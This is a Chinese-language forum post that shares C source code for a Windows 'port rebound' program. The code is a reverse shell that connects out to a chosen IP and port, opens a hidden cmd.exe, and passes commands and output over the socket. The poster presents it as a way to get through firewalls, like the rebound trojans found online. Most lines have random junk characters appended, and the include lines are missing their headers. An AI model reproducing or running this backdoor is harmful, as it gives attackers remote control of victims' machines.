社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5473阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 PfYeV/M|  
`yl|N L  
/* ============================== roriNr/ e  
Rebound port in Windows NT TPx0LDk%(  
By wind,2006/7 dL'oIBp  
===============================*/ )]w&DNc  
#include B:i$  
#include ;L76V$&  
i0\]^F  
#pragma comment(lib,"wsock32.lib") rvhMu}.  
FDF DB  
void OutputShell(); x/]G"?Uix  
SOCKET sClient; 6E ^m*la%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c'?EI EP  
"<egm^Yq  
void main(int argc,char **argv) JI-.SR  
{ zO9WqP_`iR  
WSADATA stWsaData; c<q33dZ!*  
int nRet; |R91|-H  
SOCKADDR_IN stSaiClient,stSaiServer; !}mM"|<  
&<&eKq  
if(argc != 3) .+8#&Uy  
{  m5J@kE%  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7ko}X,aC  
return; oP 7)  
} V@z/%=PJ  
9. FXbNYg  
WSAStartup(MAKEWORD(2,2),&stWsaData); Mf5*Wjz.Mc  
4Af7x6a;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7/]Ra  
}`0=\cKqn  
stSaiClient.sin_family = AF_INET; 6L~5qbQ  
stSaiClient.sin_port = htons(0); b:O_PS5h  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \qW^AD(it<  
T|$tQgY^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5 <KBMCn  
{ b H5lLcdf  
printf("Bind Socket Failed!\n"); u1'l4VgT  
return; Wxj(3lg/  
} Sd I>  
jv29,46K  
stSaiServer.sin_family = AF_INET; bB/fU7<{)u  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 66W J=? JV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BUL<FTg  
@Z""|H"0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F` gK6;zp  
{ ER!s  
printf("Connect Error!"); .db:mSrL  
return; 2S@Cj{R(  
} ^8ilUu  
OutputShell(); E_D@ 7a  
} -idbR[1{?  
T-s[na(/L  
void OutputShell() >Wd=+$!I  
{ *g'%5i1ed  
char szBuff[1024]; oO &%&;[/A  
SECURITY_ATTRIBUTES stSecurityAttributes; %t.\J:WN;  
OSVERSIONINFO stOsversionInfo; e9k$5ps  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?6\A$?  
STARTUPINFO stStartupInfo; @v6{U?  
char *szShell; {9F}2 SJ  
PROCESS_INFORMATION stProcessInformation; .`D$.|!8g  
unsigned long lBytesRead; 7O=7lQ  
6h[fk.W_  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F CfU=4O  
W-1Ub |8C  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G&N),wsNZK  
stSecurityAttributes.lpSecurityDescriptor = 0; zLS?: yq  
stSecurityAttributes.bInheritHandle = TRUE; 5C-n"8&C&  
>Zm|R|{BE  
&oVZ2.O#(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iqd7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2mthUq9b*  
Hb$wawy<  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); J rYL8 1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cKwmtmwB  
stStartupInfo.wShowWindow = SW_HIDE; v~!_DD au  
stStartupInfo.hStdInput = hReadPipe; CfOhk  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q^lgtb  
M~saYJio  
GetVersionEx(&stOsversionInfo); R|O^7o  
%yVP@M  
switch(stOsversionInfo.dwPlatformId) S U P  
{ u69G #  
case 1: unN*L  
szShell = "command.com"; kkT=g^D9j  
break; FePWr7Ze  
default: t/x]vCP,2D  
szShell = "cmd.exe"; Zq/=uB7Z  
break; `g}en%5b\  
} >6zWOYd  
}"^d<dvuz  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~X) 1!Sr  
K;g6V!U  
send(sClient,szMsg,77,0); w^ 8^0i-  
while(1) f1Gyl  
{ eGrxS;NY  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Xr|e%]!**  
if(lBytesRead) 6bpO#&T  
{ VpM(}QHd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y[f6J3/  
send(sClient,szBuff,lBytesRead,0); 0ARj3   
} ALR`z~1  
else \z-OJ1[F  
{ R|7_iMIZ  
lBytesRead=recv(sClient,szBuff,1024,0); _~b]/]|z#N  
if(lBytesRead<=0) break; Oimq P  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (Vy`u)gG  
} M ~6k[ew  
} Ot!*,%sjQ  
VSc)0eyn  
return; 6~8X/ -02  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八